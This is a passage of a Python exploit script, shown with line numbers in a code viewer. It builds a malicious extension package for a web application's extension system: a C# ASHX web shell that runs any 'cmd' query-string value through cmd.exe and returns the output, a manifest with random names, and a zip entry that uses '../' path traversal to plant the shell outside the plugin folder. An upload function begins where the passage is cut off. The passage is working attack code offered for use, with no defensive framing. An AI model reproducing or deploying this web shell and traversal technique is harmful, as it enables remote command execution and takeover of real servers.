()
| 42 | return None |
| 43 | |
| 44 | def CreateExtension(): |
| 45 | payload_data = f'''<% @ WebHandler Language="C#" Class="{payload_handler_class}" %> |
| 46 | using System; |
| 47 | using System.Web; |
| 48 | using System.Diagnostics; |
| 49 | public class {payload_handler_class} : IHttpHandler |
| 50 | {{ |
| 51 | public void ProcessRequest(HttpContext ctx) |
| 52 | {{ |
| 53 | string command = ctx.Request.QueryString["cmd"]; |
| 54 | if (!string.IsNullOrEmpty(command)) |
| 55 | {{ |
| 56 | ExecuteCommand(command, ctx); |
| 57 | }} |
| 58 | else |
| 59 | {{ |
| 60 | ctx.Response.ContentType = "text/plain"; |
| 61 | }} |
| 62 | }} |
| 63 | private void ExecuteCommand(string cmd, HttpContext ctx) |
| 64 | {{ |
| 65 | ProcessStartInfo {payload_psi_var} = new ProcessStartInfo(); |
| 66 | {payload_psi_var}.FileName = "cmd.exe"; |
| 67 | {payload_psi_var}.Arguments = $"/c {{cmd}}"; |
| 68 | {payload_psi_var}.RedirectStandardOutput = true; |
| 69 | {payload_psi_var}.UseShellExecute = false; |
| 70 | using (Process process = new Process()) |
| 71 | {{ |
| 72 | process.StartInfo = {payload_psi_var}; |
| 73 | process.Start(); |
| 74 | string output = process.StandardOutput.ReadToEnd(); |
| 75 | process.WaitForExit(); |
| 76 | ctx.Response.ContentType = "text/plain"; |
| 77 | ctx.Response.Write(output); |
| 78 | }} |
| 79 | }} |
| 80 | public bool IsReusable {{ get {{ return true; }} }} |
| 81 | }}''' |
| 82 | manifest_data = f'''<?xml version="1.0" encoding="utf-8"?> |
| 83 | <ExtensionManifest> |
| 84 | <Version>1</Version> |
| 85 | <Name>{rand_text_alpha_lower(8)}</Name> |
| 86 | <Author>{rand_text_alpha_lower(8)}</Author> |
| 87 | <ShortDescription>{rand_text_alpha_lower(8)}</ShortDescription> |
| 88 | <LoadMessage>null</LoadMessage> |
| 89 | <Components> |
| 90 | <WebServiceReference SourceFile="{payload_ashx}"/> |
| 91 | </Components> |
| 92 | </ExtensionManifest>''' |
| 93 | zip_resources = zipfile.ZipFile("resources.zip", 'w') |
| 94 | zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data) |
| 95 | zip_resources.writestr(f"{plugin_guid}/../{payload_ashx}", payload_data) |
| 96 | zip_resources.close() |
| 97 | |
| 98 | def UploadExtension(url, anti_forgery_token): |
| 99 | with open("resources.zip", "rb") as f: |
no test coverage detected